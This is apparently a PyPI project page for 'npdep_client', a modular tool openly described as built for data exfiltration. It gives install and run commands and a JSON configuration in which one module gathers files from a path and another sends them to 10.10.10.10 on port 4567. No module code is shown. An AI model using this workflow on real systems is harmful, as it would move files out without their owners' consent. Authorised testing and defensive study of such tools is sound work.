Skip to main content

Network Protocol Data Exfiltration Project Client - A modular approach for data exfiltration

Project description

Description

Network Protocol Data Exfiltration Project Client - A modular approach for data exfiltration

Installation

pip install npdep_client

Usage

From command line:

python -m npdep_client [-h] --config CONFIG

Option Short Type Default Description
--config -c String - Path to Configuration File

Configuration

{
    "options":{
       "modulePath": "path/to/modules" // By providing a path, you can load modules not installed via pip
    },
    "sourcing": {
        "module": {
            "name": "SourcingModule",   // Name of the module .py file
            "options": {                // Custom options object for your specific module
                "path": "path/to/files" // Example: This module searches for files under the given path
            }
        }
    },
    "transfer": {
        "module": {
            "name": "TransferModule",   // Name of the module .py file
            "options": {                // Custom options object for your specific module
                "ip": "10.10.10.10",    // Example: Send files to given ip on given port
                "port": 4567
            }
        }
    }
}

Example

python -m npdep_client -c config.json

Given the previous configuration file npdep_client is going to start SourcingModule which searches for files under path/to/files and send it via TransferModule to 10.10.10.10 under port 4567

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

npdep_client-0.1.0.tar.gz (4.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

npdep_client-0.1.0-py3-none-any.whl (5.5 kB view details)

Uploaded Python 3

File details

Details for the file npdep_client-0.1.0.tar.gz.

File metadata

  • Download URL: npdep_client-0.1.0.tar.gz
  • Upload date:
  • Size: 4.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.13.0

File hashes

Hashes for npdep_client-0.1.0.tar.gz
Algorithm Hash digest
SHA256 453d4925001f0373e8d6a753adfca1354d2e0486924d767ccdc9086fe2002f84
MD5 893d73653d70b6a76cc2ac9154655ced
BLAKE2b-256 658f103c38876c3e16097d5f8f51864e59ed67b6b9e30d636a9127de87631654

See more details on using hashes here.

File details

Details for the file npdep_client-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: npdep_client-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 5.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.13.0

File hashes

Hashes for npdep_client-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 c2bcbd91537fe2917fd2e622eeacdabc07275bd90fcb447f0ffc9b7b3febac09
MD5 4c878d46cc614f28d08b5b2bb969fcfa
BLAKE2b-256 3dd5ac4f6148666a0a01bbada619b0f11c0059b43c54a1e94f4e473d15436098

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page